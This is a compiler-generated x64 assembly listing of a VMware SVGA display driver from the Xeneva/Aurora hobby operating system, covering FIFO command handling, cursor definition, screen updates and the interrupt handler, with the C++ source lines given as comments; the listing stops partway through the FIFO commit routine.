s$ = 64
p$ = 72
?svga_interrupt_handler@@YAX_KPEAX@Z PROC ; svga_interrupt_handler
; 578 : void svga_interrupt_handler (size_t s, void* p) {
$LN4:
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
sub rsp, 56 ; 00000038H
; 579 : x64_cli ();
call x64_cli
; 580 : printf ("SVGA interrupted\n");
lea rcx, OFFSET FLAT:$SG6073
call ?printf@@YAXPEBDZZ ; printf
; 581 :
; 582 : uint16_t port = svga_dev.io_base + SVGA_IRQSTATUS_PORT;
mov eax, DWORD PTR ?svga_dev@@3U_svga_drive_@@A+8
add eax, 8
mov WORD PTR port$[rsp], ax
; 583 : uint32_t irq_flags = inportd (port);
movzx ecx, WORD PTR port$[rsp]
call ?inportd@@YAIG@Z ; inportd
mov DWORD PTR irq_flags$[rsp], eax
; 584 : outportd (port, irq_flags);
mov edx, DWORD PTR irq_flags$[rsp]
movzx ecx, WORD PTR port$[rsp]
call ?outportd@@YAXGI@Z ; outportd
; 585 : printf ("Irq flags -> %d\n", irq_flags);
mov edx, DWORD PTR irq_flags$[rsp]
lea rcx, OFFSET FLAT:$SG6076
call ?printf@@YAXPEBDZZ ; printf
; 586 : svga_dev.irq.count++;
mov eax, DWORD PTR ?svga_dev@@3U_svga_drive_@@A+1048668
inc eax
mov DWORD PTR ?svga_dev@@3U_svga_drive_@@A+1048668, eax
; 587 : svga_dev.irq.pending = irq_flags;
mov eax, DWORD PTR irq_flags$[rsp]
mov DWORD PTR ?svga_dev@@3U_svga_drive_@@A+1048660, eax
; 588 :
; 589 : if (!irq_flags)
cmp DWORD PTR irq_flags$[rsp], 0
jne SHORT $LN1@svga_inter
; 590 : printf ("[VMware SVGA]: spurious SVGA IRQ\n");
lea rcx, OFFSET FLAT:$SG6078
call ?printf@@YAXPEBDZZ ; printf
$LN1@svga_inter:
; 591 : //svga_update(0,0,get_screen_width(), get_screen_height());
; 592 : interrupt_end(svga_dev.irq_line);
mov ecx, DWORD PTR ?svga_dev@@3U_svga_drive_@@A+68
call ?interrupt_end@@YAXI@Z ; interrupt_end
; 593 : }
add rsp, 56 ; 00000038H
ret 0
?svga_interrupt_handler@@YAX_KPEAX@Z ENDP ; svga_interrupt_handler
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\vmsvga.cpp
_TEXT SEGMENT
cmd$ = 32
stream_id$ = 64
?svga_video_flush@@YAXI@Z PROC ; svga_video_flush
; 465 : void svga_video_flush (uint32_t stream_id) {
$LN3:
mov DWORD PTR [rsp+8], ecx
sub rsp, 56 ; 00000038H
; 466 : SVGAEscapeVideoFlush *cmd;
; 467 :
; 468 : cmd = (SVGAEscapeVideoFlush*)svga_fifo_reserve_escape (SVGA_ESCAPE_NSID_VMWARE, sizeof *cmd);
mov edx, 8
xor ecx, ecx
call ?svga_fifo_reserve_escape@@YAPEAXII@Z ; svga_fifo_reserve_escape
mov QWORD PTR cmd$[rsp], rax
; 469 : cmd->cmdType = SVGA_ESCAPE_VMWARE_VIDEO_FLUSH;
mov rax, QWORD PTR cmd$[rsp]
mov DWORD PTR [rax], 131074 ; 00020002H
; 470 : cmd->streamId = stream_id;
mov rax, QWORD PTR cmd$[rsp]
mov ecx, DWORD PTR stream_id$[rsp]
mov DWORD PTR [rax+4], ecx
; 471 : svga_fifo_commit_all();
call ?svga_fifo_commit_all@@YAXXZ ; svga_fifo_commit_all
; 472 : }
add rsp, 56 ; 00000038H
ret 0
?svga_video_flush@@YAXI@Z ENDP ; svga_video_flush
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\vmsvga.cpp
_TEXT SEGMENT
set_regs$ = 32
stream_id$ = 64
register_id$ = 72
value$ = 80
?svga_video_set_reg@@YAXIII@Z PROC ; svga_video_set_reg
; 454 : void svga_video_set_reg (uint32_t stream_id, uint32_t register_id, uint32_t value) {
$LN3:
mov DWORD PTR [rsp+24], r8d
mov DWORD PTR [rsp+16], edx
mov DWORD PTR [rsp+8], ecx
sub rsp, 56 ; 00000038H
; 455 :
; 456 : SVGAEscapeVideoSetRegs *set_regs;
; 457 :
; 458 : svga_begin_video_set_regs (stream_id, 1, &set_regs);
lea r8, QWORD PTR set_regs$[rsp]
mov edx, 1
mov ecx, DWORD PTR stream_id$[rsp]
call ?svga_begin_video_set_regs@@YAXIIPEAPEAUSVGAEscapeVideoSetRegs@@@Z ; svga_begin_video_set_regs
; 459 : set_regs->items[0].registerId = register_id;
mov eax, 8
imul rax, 0
mov rcx, QWORD PTR set_regs$[rsp]
mov edx, DWORD PTR register_id$[rsp]
mov DWORD PTR [rcx+rax+8], edx
; 460 : set_regs->items[0].value = value;
mov eax, 8
imul rax, 0
mov rcx, QWORD PTR set_regs$[rsp]
mov edx, DWORD PTR value$[rsp]
mov DWORD PTR [rcx+rax+12], edx
; 461 : svga_fifo_commit_all();
call ?svga_fifo_commit_all@@YAXXZ ; svga_fifo_commit_all
; 462 : }
add rsp, 56 ; 00000038H
ret 0
?svga_video_set_reg@@YAXIII@Z ENDP ; svga_video_set_reg
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\vmsvga.cpp
_TEXT SEGMENT
i$ = 32
num_regs$ = 36
set_regs$ = 40
reg_array$ = 48
stream_id$ = 80
regs$ = 88
max_reg$ = 96
?svga_video_set_all_regs@@YAXIPEAUSVGAOverlayUnit@@I@Z PROC ; svga_video_set_all_regs
; 435 : void svga_video_set_all_regs (uint32_t stream_id, SVGAOverlayUnit *regs, uint32_t max_reg) {
$LN6:
mov DWORD PTR [rsp+24], r8d
mov QWORD PTR [rsp+16], rdx
mov DWORD PTR [rsp+8], ecx
sub rsp, 72 ; 00000048H
; 436 :
; 437 : uint32_t *reg_array = (uint32_t*) regs;
mov rax, QWORD PTR regs$[rsp]
mov QWORD PTR reg_array$[rsp], rax
; 438 : const uint32_t num_regs = max_reg + 1;
mov eax, DWORD PTR max_reg$[rsp]
inc eax
mov DWORD PTR num_regs$[rsp], eax
; 439 : SVGAEscapeVideoSetRegs *set_regs;
; 440 : uint32_t i;
; 441 :
; 442 : svga_begin_video_set_regs (stream_id, num_regs, &set_regs);
lea r8, QWORD PTR set_regs$[rsp]
mov edx, DWORD PTR num_regs$[rsp]
mov ecx, DWORD PTR stream_id$[rsp]
call ?svga_begin_video_set_regs@@YAXIIPEAPEAUSVGAEscapeVideoSetRegs@@@Z ; svga_begin_video_set_regs
; 443 :
; 444 : for (i = 0; i < num_regs; i++) {
mov DWORD PTR i$[rsp], 0
jmp SHORT $LN3@svga_video
$LN2@svga_video:
mov eax, DWORD PTR i$[rsp]
inc eax
mov DWORD PTR i$[rsp], eax
$LN3@svga_video:
mov eax, DWORD PTR num_regs$[rsp]
cmp DWORD PTR i$[rsp], eax
jae SHORT $LN1@svga_video
; 445 : set_regs->items[i].registerId = i;
mov eax, DWORD PTR i$[rsp]
mov rcx, QWORD PTR set_regs$[rsp]
mov edx, DWORD PTR i$[rsp]
mov DWORD PTR [rcx+rax*8+8], edx
; 446 : set_regs->items[i].value = reg_array[i];
mov eax, DWORD PTR i$[rsp]
mov ecx, DWORD PTR i$[rsp]
mov rdx, QWORD PTR set_regs$[rsp]
mov r8, QWORD PTR reg_array$[rsp]
mov eax, DWORD PTR [r8+rax*4]
mov DWORD PTR [rdx+rcx*8+12], eax
; 447 : }
jmp SHORT $LN2@svga_video
$LN1@svga_video:
; 448 :
; 449 : svga_fifo_commit_all();
call ?svga_fifo_commit_all@@YAXXZ ; svga_fifo_commit_all
; 450 : }
add rsp, 72 ; 00000048H
ret 0
?svga_video_set_all_regs@@YAXIPEAUSVGAOverlayUnit@@I@Z ENDP ; svga_video_set_all_regs
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\vmsvga.cpp
_TEXT SEGMENT
cmd_size$ = 32
cmd$ = 40
stream_id$ = 64
num_items$ = 72
set_regs$ = 80
?svga_begin_video_set_regs@@YAXIIPEAPEAUSVGAEscapeVideoSetRegs@@@Z PROC ; svga_begin_video_set_regs
; 424 : void svga_begin_video_set_regs (uint32_t stream_id, uint32_t num_items, SVGAEscapeVideoSetRegs **set_regs) {
$LN3:
mov QWORD PTR [rsp+24], r8
mov DWORD PTR [rsp+16], edx
mov DWORD PTR [rsp+8], ecx
sub rsp, 56 ; 00000038H
; 425 : SVGAEscapeVideoSetRegs *cmd;
; 426 : uint32_t cmd_size = (sizeof *cmd - sizeof cmd->items + num_items * sizeof cmd->items[0]);
mov eax, DWORD PTR num_items$[rsp]
lea rax, QWORD PTR [rax*8+8]
mov DWORD PTR cmd_size$[rsp], eax
; 427 :
; 428 : cmd = (SVGAEscapeVideoSetRegs*)svga_fifo_reserve_escape (SVGA_ESCAPE_NSID_VMWARE, cmd_size);
mov edx, DWORD PTR cmd_size$[rsp]
xor ecx, ecx
call ?svga_fifo_reserve_escape@@YAPEAXII@Z ; svga_fifo_reserve_escape
mov QWORD PTR cmd$[rsp], rax
; 429 : cmd->header.cmdType = SVGA_ESCAPE_VMWARE_VIDEO_SET_REGS;
mov rax, QWORD PTR cmd$[rsp]
mov DWORD PTR [rax], 131073 ; 00020001H
; 430 : cmd->header.streamId = stream_id;
mov rax, QWORD PTR cmd$[rsp]
mov ecx, DWORD PTR stream_id$[rsp]
mov DWORD PTR [rax+4], ecx
; 431 :
; 432 : *set_regs = cmd;
mov rax, QWORD PTR set_regs$[rsp]
mov rcx, QWORD PTR cmd$[rsp]
mov QWORD PTR [rax], rcx
; 433 : }
add rsp, 56 ; 00000038H
ret 0
?svga_begin_video_set_regs@@YAXIIPEAPEAUSVGAEscapeVideoSetRegs@@@Z ENDP ; svga_begin_video_set_regs
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\vmsvga.cpp
_TEXT SEGMENT
visible$ = 48
x$ = 56
y$ = 64
screen_id$ = 72
?svga_move_cursor@@YAXIIII@Z PROC ; svga_move_cursor
; 409 : {
$LN5:
mov DWORD PTR [rsp+32], r9d
mov DWORD PTR [rsp+24], r8d
mov DWORD PTR [rsp+16], edx
mov DWORD PTR [rsp+8], ecx
sub rsp, 40 ; 00000028H
; 410 : if (svga_has_fifo_cap (SVGA_FIFO_CAP_SCREEN_OBJECT)) {
mov ecx, 128 ; 00000080H
call ?svga_has_fifo_cap@@YA_NH@Z ; svga_has_fifo_cap
movzx eax, al
test eax, eax
je SHORT $LN2@svga_move_
; 411 : svga_dev.fifo_mem[SVGA_FIFO_CURSOR_SCREEN_ID] = screen_id;
mov eax, 4
imul rax, 15
mov rcx, QWORD PTR ?svga_dev@@3U_svga_drive_@@A+16
mov edx, DWORD PTR screen_id$[rsp]
mov DWORD PTR [rcx+rax], edx
$LN2@svga_move_:
; 412 : }
; 413 :
; 414 : if (svga_has_fifo_cap (SVGA_FIFO_CAP_CURSOR_BYPASS_3)) {
mov ecx, 16
call ?svga_has_fifo_cap@@YA_NH@Z ; svga_has_fifo_cap
movzx eax, al
test eax, eax
je SHORT $LN1@svga_move_
; 415 : //printf ("Cursor Bypass 3 supported\n");
; 416 : svga_dev.fifo_mem[SVGA_FIFO_CURSOR_ON] = visible;
mov eax, 4
imul rax, 9
mov rcx, QWORD PTR ?svga_dev@@3U_svga_drive_@@A+16
mov edx, DWORD PTR visible$[rsp]
mov DWORD PTR [rcx+rax], edx
; 417 : svga_dev.fifo_mem[SVGA_FIFO_CURSOR_X] = x;
mov eax, 4
imul rax, 10
mov rcx, QWORD PTR ?svga_dev@@3U_svga_drive_@@A+16
mov edx, DWORD PTR x$[rsp]
mov DWORD PTR [rcx+rax], edx
; 418 : svga_dev.fifo_mem[SVGA_FIFO_CURSOR_Y] = y;
mov eax, 4
imul rax, 11
mov rcx, QWORD PTR ?svga_dev@@3U_svga_drive_@@A+16
mov edx, DWORD PTR y$[rsp]
mov DWORD PTR [rcx+rax], edx
; 419 : svga_dev.fifo_mem[SVGA_FIFO_CURSOR_COUNT]++;
mov eax, 4
imul rax, 12
mov rcx, QWORD PTR ?svga_dev@@3U_svga_drive_@@A+16
mov eax, DWORD PTR [rcx+rax]
inc eax
mov ecx, 4
imul rcx, 12
mov rdx, QWORD PTR ?svga_dev@@3U_svga_drive_@@A+16
mov DWORD PTR [rdx+rcx], eax
$LN1@svga_move_:
; 420 : }
; 421 : }
add rsp, 40 ; 00000028H
ret 0
?svga_move_cursor@@YAXIIII@Z ENDP ; svga_move_cursor
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\vmsvga.cpp
_TEXT SEGMENT
image_size$ = 32
cmd$ = 40
cursor_info$ = 80
data$ = 88
?svga_begin_define_alpha_cursor@@YAXPEBUSVGAFifoCmdDefineAlphaCursor@@PEAPEAX@Z PROC ; svga_begin_define_alpha_cursor
; 396 : {
$LN3:
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rsi
push rdi
sub rsp, 56 ; 00000038H
; 397 : uint32_t image_size = cursor_info->width * cursor_info->height * sizeof(uint32_t);
mov rax, QWORD PTR cursor_info$[rsp]
mov rcx, QWORD PTR cursor_info$[rsp]
mov eax, DWORD PTR [rax+12]
imul eax, DWORD PTR [rcx+16]
mov eax, eax
shl rax, 2
mov DWORD PTR image_size$[rsp], eax
; 398 : SVGAFifoCmdDefineAlphaCursor *cmd = (SVGAFifoCmdDefineAlphaCursor*)svga_fifo_reserved_cmd (SVGA_CMD_DEFINE_ALPHA_CURSOR,
; 399 : sizeof(cmd) + image_size); //sizeof *cmd;
mov eax, DWORD PTR image_size$[rsp]
add rax, 8
mov edx, eax
mov ecx, 22
call ?svga_fifo_reserved_cmd@@YAPEAXII@Z ; svga_fifo_reserved_cmd
mov QWORD PTR cmd$[rsp], rax
; 400 : //printf ("Cmd address -> %x, %x\n", cmd, *cmd);
; 401 : *cmd = *cursor_info;
mov rdi, QWORD PTR cmd$[rsp]
mov rsi, QWORD PTR cursor_info$[rsp]
mov ecx, 20
rep movsb
; 402 : *data = (void*) (cmd + 1);
mov rax, QWORD PTR cmd$[rsp]
add rax, 20
mov rcx, QWORD PTR data$[rsp]
mov QWORD PTR [rcx], rax
; 403 : }
add rsp, 56 ; 00000038H
pop rdi
pop rsi
ret 0
?svga_begin_define_alpha_cursor@@YAXPEBUSVGAFifoCmdDefineAlphaCursor@@PEAPEAX@Z ENDP ; svga_begin_define_alpha_cursor
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\vmsvga.cpp
_TEXT SEGMENT
and_size$ = 32
and_pitch$ = 36
xor_pitch$ = 40
xor_size$ = 44
cmd$ = 48
cursor_info$ = 96
and_mask$ = 104
xor_mask$ = 112
?svga_begin_define_cursor@@YAXPEBUSVGAFifoCmdDefineCursor@@PEAPEAX1@Z PROC ; svga_begin_define_cursor
; 381 : {
$LN3:
mov QWORD PTR [rsp+24], r8
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rsi
push rdi
sub rsp, 72 ; 00000048H
; 382 : uint32_t and_pitch = ((cursor_info->andMaskDepth * cursor_info->width + 31) >> 5) << 2;
mov rax, QWORD PTR cursor_info$[rsp]
mov rcx, QWORD PTR cursor_info$[rsp]
mov eax, DWORD PTR [rax+20]
imul eax, DWORD PTR [rcx+12]
add eax, 31
shr eax, 5
shl eax, 2
mov DWORD PTR and_pitch$[rsp], eax
; 383 : uint32_t and_size = and_pitch * cursor_info->height;
mov rax, QWORD PTR cursor_info$[rsp]
mov ecx, DWORD PTR and_pitch$[rsp]
imul ecx, DWORD PTR [rax+16]
mov eax, ecx
mov DWORD PTR and_size$[rsp], eax
; 384 : uint32_t xor_pitch = ((cursor_info->xorMaskDepth * cursor_info->width + 31) >> 5) << 2;
mov rax, QWORD PTR cursor_info$[rsp]
mov rcx, QWORD PTR cursor_info$[rsp]
mov eax, DWORD PTR [rax+24]
imul eax, DWORD PTR [rcx+12]
add eax, 31
shr eax, 5
shl eax, 2
mov DWORD PTR xor_pitch$[rsp], eax
; 385 : uint32_t xor_size = xor_pitch * cursor_info->height;
mov rax, QWORD PTR cursor_info$[rsp]
mov ecx, DWORD PTR xor_pitch$[rsp]
imul ecx, DWORD PTR [rax+16]
mov eax, ecx
mov DWORD PTR xor_size$[rsp], eax
; 386 :
; 387 : SVGAFifoCmdDefineCursor *cmd = (SVGAFifoCmdDefineCursor*)svga_fifo_reserved_cmd (SVGA_CMD_DEFINE_CURSOR, sizeof *cmd + and_size + xor_size);
mov eax, DWORD PTR and_size$[rsp]
mov ecx, DWORD PTR xor_size$[rsp]
lea rax, QWORD PTR [rax+rcx+28]
mov edx, eax
mov ecx, 19
call ?svga_fifo_reserved_cmd@@YAPEAXII@Z ; svga_fifo_reserved_cmd
mov QWORD PTR cmd$[rsp], rax
; 388 :
; 389 : *cmd = *cursor_info;
mov rdi, QWORD PTR cmd$[rsp]
mov rsi, QWORD PTR cursor_info$[rsp]
mov ecx, 28
rep movsb
; 390 : *and_mask = (void*)(cmd + 1);
mov rax, QWORD PTR cmd$[rsp]
add rax, 28
mov rcx, QWORD PTR and_mask$[rsp]
mov QWORD PTR [rcx], rax
; 391 : *xor_mask = (void*)(and_size + (uint8_t*)*and_mask);
mov eax, DWORD PTR and_size$[rsp]
mov rcx, QWORD PTR and_mask$[rsp]
add rax, QWORD PTR [rcx]
mov rcx, QWORD PTR xor_mask$[rsp]
mov QWORD PTR [rcx], rax
; 392 : }
add rsp, 72 ; 00000048H
pop rdi
pop rsi
ret 0
?svga_begin_define_cursor@@YAXPEBUSVGAFifoCmdDefineCursor@@PEAPEAX1@Z ENDP ; svga_begin_define_cursor
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\vmsvga.cpp
_TEXT SEGMENT
cmd$ = 32
x$ = 64
y$ = 72
width$ = 80
height$ = 88
?svga_update@@YAXIIII@Z PROC ; svga_update
; 369 : void svga_update (uint32_t x, uint32_t y, uint32_t width, uint32_t height) {
$LN3:
mov DWORD PTR [rsp+32], r9d
mov DWORD PTR [rsp+24], r8d
mov DWORD PTR [rsp+16], edx
mov DWORD PTR [rsp+8], ecx
sub rsp, 56 ; 00000038H
; 370 : SVGAFifoCmdUpdate *cmd = (SVGAFifoCmdUpdate*)svga_fifo_reserved_cmd (SVGA_CMD_UPDATE, sizeof (SVGAFifoCmdUpdate));
mov edx, 16
mov ecx, 1
call ?svga_fifo_reserved_cmd@@YAPEAXII@Z ; svga_fifo_reserved_cmd
mov QWORD PTR cmd$[rsp], rax
; 371 : cmd->x = x;
mov rax, QWORD PTR cmd$[rsp]
mov ecx, DWORD PTR x$[rsp]
mov DWORD PTR [rax], ecx
; 372 : cmd->y = y;
mov rax, QWORD PTR cmd$[rsp]
mov ecx, DWORD PTR y$[rsp]
mov DWORD PTR [rax+4], ecx
; 373 : cmd->width = width;
mov rax, QWORD PTR cmd$[rsp]
mov ecx, DWORD PTR width$[rsp]
mov DWORD PTR [rax+8], ecx
; 374 : cmd->height = height;
mov rax, QWORD PTR cmd$[rsp]
mov ecx, DWORD PTR height$[rsp]
mov DWORD PTR [rax+12], ecx
; 375 : svga_fifo_commit_all ();
call ?svga_fifo_commit_all@@YAXXZ ; svga_fifo_commit_all
; 376 : }
add rsp, 56 ; 00000038H
ret 0
?svga_update@@YAXIIII@Z ENDP ; svga_update
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\vmsvga.cpp
_TEXT SEGMENT
size$ = 8
ptr$ = 16
?svga_alloc_gmr@@YAPEAXIPEAUSVGAGuestPtr@@@Z PROC ; svga_alloc_gmr
; 362 : void* svga_alloc_gmr (uint32 size, SVGAGuestPtr *ptr) {
mov QWORD PTR [rsp+16], rdx
mov DWORD PTR [rsp+8], ecx
; 363 : static SVGAGuestPtr next_ptr = {SVGA_GMR_FRAMEBUFFER, 0 };
; 364 : *ptr = next_ptr;
mov rax, QWORD PTR ptr$[rsp]
mov rcx, QWORD PTR ?next_ptr@?1??svga_alloc_gmr@@YAPEAXIPEAUSVGAGuestPtr@@@Z@4U2@A
mov QWORD PTR [rax], rcx
; 365 : next_ptr.offset += size;
mov eax, DWORD PTR size$[rsp]
mov ecx, DWORD PTR ?next_ptr@?1??svga_alloc_gmr@@YAPEAXIPEAUSVGAGuestPtr@@@Z@4U2@A+4
add ecx, eax
mov eax, ecx
mov DWORD PTR ?next_ptr@?1??svga_alloc_gmr@@YAPEAXIPEAUSVGAGuestPtr@@@Z@4U2@A+4, eax
; 366 : return svga_dev.fb_mem + ptr->offset;
mov rax, QWORD PTR ptr$[rsp]
mov eax, DWORD PTR [rax+4]
mov rcx, QWORD PTR ?svga_dev@@3U_svga_drive_@@A+24
add rcx, rax
mov rax, rcx
; 367 : }
ret 0
?svga_alloc_gmr@@YAPEAXIPEAUSVGAGuestPtr@@@Z ENDP ; svga_alloc_gmr
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\vmsvga.cpp
_TEXT SEGMENT
?svga_ring_doorbell@@YAXXZ PROC ; svga_ring_doorbell
; 355 : void svga_ring_doorbell () {
$LN4:
sub rsp, 40 ; 00000028H
; 356 : if (svga_is_fifo_reg_valid (SVGA_FIFO_BUSY) && svga_dev.fifo_mem[SVGA_FIFO_BUSY] == false) {
mov ecx, 290 ; 00000122H
call ?svga_is_fifo_reg_valid@@YA_NH@Z ; svga_is_fifo_reg_valid
movzx eax, al
test eax, eax
je SHORT $LN1@svga_ring_
mov eax, 4
imul rax, 290 ; 00000122H
mov rcx, QWORD PTR ?svga_dev@@3U_svga_drive_@@A+16
cmp DWORD PTR [rcx+rax], 0
jne SHORT $LN1@svga_ring_
; 357 : svga_dev.fifo_mem[SVGA_FIFO_BUSY] = true;
mov eax, 4
imul rax, 290 ; 00000122H
mov rcx, QWORD PTR ?svga_dev@@3U_svga_drive_@@A+16
mov DWORD PTR [rcx+rax], 1
; 358 : svga_write_reg (SVGA_REG_SYNC, 1);
mov edx, 1
mov ecx, 21
call ?svga_write_reg@@YAXII@Z ; svga_write_reg
$LN1@svga_ring_:
; 359 : }
; 360 : }
add rsp, 40 ; 00000028H
ret 0
?svga_ring_doorbell@@YAXXZ ENDP ; svga_ring_doorbell
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\vmsvga.cpp
_TEXT SEGMENT
padded_bytes$ = 32
h$ = 40
nsid$ = 64
bytes$ = 72
?svga_fifo_reserve_escape@@YAPEAXII@Z PROC ; svga_fifo_reserve_escape
; 319 : void* svga_fifo_reserve_escape (uint32_t nsid, uint32_t bytes) {
$LN3:
mov DWORD PTR [rsp+16], edx
mov DWORD PTR [rsp+8], ecx
sub rsp, 56 ; 00000038H
; 320 :
; 321 : uint32_t padded_bytes = (bytes + 3) & ~3UL;
mov eax, DWORD PTR bytes$[rsp]
add eax, 3
and eax, -4 ; fffffffcH
mov DWORD PTR padded_bytes$[rsp], eax
; 322 : #pragma pack (push)
; 323 : struct header{
; 324 : uint32_t cmd;
; 325 : uint32_t nsid;
; 326 : uint32_t size;
; 327 : };
; 328 : #pragma pack (pop)
; 329 :
; 330 : header *h = (header*)svga_fifo_reserve (padded_bytes + sizeof (header));
mov eax, DWORD PTR padded_bytes$[rsp]
add rax, 12
mov ecx, eax
call ?svga_fifo_reserve@@YAPEAXI@Z ; svga_fifo_reserve
mov QWORD PTR h$[rsp], rax
; 331 : h->cmd = SVGA_CMD_ESCAPE;
mov rax, QWORD PTR h$[rsp]
mov DWORD PTR [rax], 33 ; 00000021H
; 332 : h->nsid = nsid;
mov rax, QWORD PTR h$[rsp]
mov ecx, DWORD PTR nsid$[rsp]
mov DWORD PTR [rax+4], ecx
; 333 : h->size = bytes;
mov rax, QWORD PTR h$[rsp]
mov ecx, DWORD PTR bytes$[rsp]
mov DWORD PTR [rax+8], ecx
; 334 :
; 335 : return h + 1;
mov rax, QWORD PTR h$[rsp]
add rax, 12
; 336 : }
add rsp, 56 ; 00000038H
ret 0
?svga_fifo_reserve_escape@@YAPEAXII@Z ENDP ; svga_fifo_reserve_escape
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\vmsvga.cpp
_TEXT SEGMENT
cmd$ = 32
type$ = 64
bytes$ = 72
?svga_fifo_reserved_cmd@@YAPEAXII@Z PROC ; svga_fifo_reserved_cmd
; 311 : void* svga_fifo_reserved_cmd (uint32_t type, uint32_t bytes) {
$LN3:
mov DWORD PTR [rsp+16], edx
mov DWORD PTR [rsp+8], ecx
sub rsp, 56 ; 00000038H
; 312 : debug_serial ("[Aurora]: Fifo Reserved function called\n");
lea rcx, OFFSET FLAT:$SG5916
call ?debug_serial@@YAXPEAD@Z ; debug_serial
; 313 : uint32_t*cmd = (uint32_t*)svga_fifo_reserve (bytes + sizeof type);
mov eax, DWORD PTR bytes$[rsp]
add rax, 4
mov ecx, eax
call ?svga_fifo_reserve@@YAPEAXI@Z ; svga_fifo_reserve
mov QWORD PTR cmd$[rsp], rax
; 314 : cmd[0] = type;
mov eax, 4
imul rax, 0
mov rcx, QWORD PTR cmd$[rsp]
mov edx, DWORD PTR type$[rsp]
mov DWORD PTR [rcx+rax], edx
; 315 : return cmd + 1;
mov rax, QWORD PTR cmd$[rsp]
add rax, 4
; 316 : }
add rsp, 56 ; 00000038H
ret 0
?svga_fifo_reserved_cmd@@YAPEAXII@Z ENDP ; svga_fifo_reserved_cmd
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\vmsvga.cpp
_TEXT SEGMENT
?svga_fifo_commit_all@@YAXXZ PROC ; svga_fifo_commit_all
; 307 : void svga_fifo_commit_all () {
$LN3:
sub rsp, 40 ; 00000028H
; 308 : svga_fifo_commit (svga_dev.fifo.reserved_size);
mov ecx, DWORD PTR ?svga_dev@@3U_svga_drive_@@A+72
call ?svga_fifo_commit@@YAXI@Z ; svga_fifo_commit
; 309 : }
add rsp, 40 ; 00000028H
ret 0
?svga_fifo_commit_all@@YAXXZ ENDP ; svga_fifo_commit_all
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\vmsvga.cpp
_TEXT SEGMENT
next_cmd$ = 32
reserveable$ = 36
max$ = 40
fifo$ = 48
min$ = 56
chunk_size$1 = 60
tv84 = 64
buffer$2 = 72
dword$3 = 80
tv130 = 88
bytes$ = 112
?svga_fifo_commit@@YAXI@Z PROC ; svga_fifo_commit
; 254 : void svga_fifo_commit (uint32_t bytes) {
$LN16:
mov DWORD PTR [rsp+8], ecx
sub rsp, 104 ; 00000068H
; 255 :
; 256 : volatile uint32_t *fifo = svga_dev.fifo_mem;
mov rax, QWORD PTR ?svga_dev@@3U_svga_drive_@@A+16
mov QWORD PTR fifo$[rsp], rax
; 257 : //printf ("FIFO Commit address -> %x\n", fifo);
; 258 : uint32_t next_cmd = fifo[SVGA_FIFO_NEXT_CMD];
mov eax, 4
imul rax, 2
mov rcx, QWORD PTR fifo$[rsp]
mov eax, DWORD PTR [rcx+rax]
mov DWORD PTR next_cmd$[rsp], eax
; 259 : uint32_t max = fifo[SVGA_FIFO_MAX];
mov eax, 4
imul rax, 1
mov rcx, QWORD PTR fifo$[rsp]
mov eax, DWORD PTR [rcx+rax]
mov DWORD PTR max$[rsp], eax
; 260 : uint32_t min = fifo[SVGA_FIFO_MIN];
mov eax, 4
imul rax, 0
mov rcx, QWORD PTR fifo$[rsp]
mov eax, DWORD PTR [rcx+rax]
mov DWORD PTR min$[rsp], eax
; 261 :
; 262 : bool reserveable = svga_has_fifo_cap (SVGA_FIFO_CAP_RESERVE);
mov ecx, 64 ; 00000040H
call ?svga_has_fifo_cap@@YA_NH@Z ; svga_has_fifo_cap
mov BYTE PTR reserveable$[rsp], al
; 263 :
; 264 : if (svga_dev.fifo.reserved_size == 0) {
cmp DWORD PTR ?svga_dev@@3U_svga_drive_@@A+72, 0
jne SHORT $LN11@svga_fifo_
; 265 : printf ("[VMware SVGA]: FIFO commit before FIFO reserve\n");
lea rcx, OFFSET FLAT:$SG5892
call ?printf@@YAXPEBDZZ ; printf
$LN11@svga_fifo_:
; 266 : }
; 267 : svga_dev.fifo.reserved_size = 0;
mov DWORD PTR ?svga_dev@@3U_svga_drive_@@A+72, 0
; 268 :
; 269 : if (svga_dev.fifo.using_bounce_buffer) {
movzx eax, BYTE PTR ?svga_dev@@3U_svga_drive_@@A+76
test eax, eax
je $LN10@svga_fifo_
; 270 : //printf ("Commit using bounce buffer\n");
; 271 : uint8_t* buffer = svga_dev.fifo.bounce_buffer;
lea rax, OFFSET FLAT:?svga_dev@@3U_svga_drive_@@A+77
mov QWORD PTR buffer$2[rsp], rax
; 272 : //printf ("Bounce buffer -> %x\n", buffer);
; 273 : if (reserveable) {
movzx eax, BYTE PTR reserveable$[rsp]
test eax, eax
je $LN9@svga_fifo_
; 274 : //printf ("Reserved\n");
; 275 : uint32_t chunk_size = MIN (bytes, max - next_cmd);
mov eax, DWORD PTR next_cmd$[rsp]
mov ecx, DWORD PTR max$[rsp]
sub ecx, eax
mov eax, ecx
cmp DWORD PTR bytes$[rsp], eax
jae SHORT $LN14@svga_fifo_
mov eax, DWORD PTR bytes$[rsp]
mov DWORD PTR tv84[rsp], eax
jmp SHORT $LN15@svga_fifo_
$LN14@svga_fifo_:
